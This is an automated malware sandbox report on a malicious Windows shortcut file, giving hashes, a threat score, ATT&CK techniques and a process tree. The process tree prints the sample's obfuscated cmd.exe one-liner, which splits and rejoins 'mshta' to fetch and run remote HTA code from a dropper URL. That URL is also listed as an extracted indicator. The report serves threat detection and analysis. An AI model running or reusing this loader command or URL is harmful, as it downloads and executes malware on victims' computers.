617e6495991d19a63af41ff23751aba801340f75b625f7120865aa0009b44e1b

Analysis

max time kernel
148s
max time network
146s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:32

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General

Target
DOC-0IW536.lnk
Size 1KB
Sample260803-qs1sysck51
SHA256 617e6495991d19a63af41ff23751aba801340f75b625f7120865aa0009b44e1b
MD5 f3a02685fac46abe62df9a484ef6fd39
SHA1 a161e42dca6eec124cf6f88874400a46a1ba20e5
SHA512 5164a1ab8c86d0a0fe1afb05006d105ebae8ba7db26a9ce3ca59beaf913d0a4ebe16c2d85795e538a2612fe1d697485a431dfcee430afe69995895fff50142ce
TLSH
T13E3197002FF90614F3F7AE3384BB57208DBBB9968E21CA1D41404A0C2032E04E9BAF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4548	cmd.exe
4616	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4548 wrote to memory of 4616	4548	cmd.exe	91
PID 4616 wrote to memory of 1292	4616	cmd.exe	92

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-0IW536.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4548
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set ccrO=msh&&set Tfcv=ta&&start "" !ccrO!!Tfcv! https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4616
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:1292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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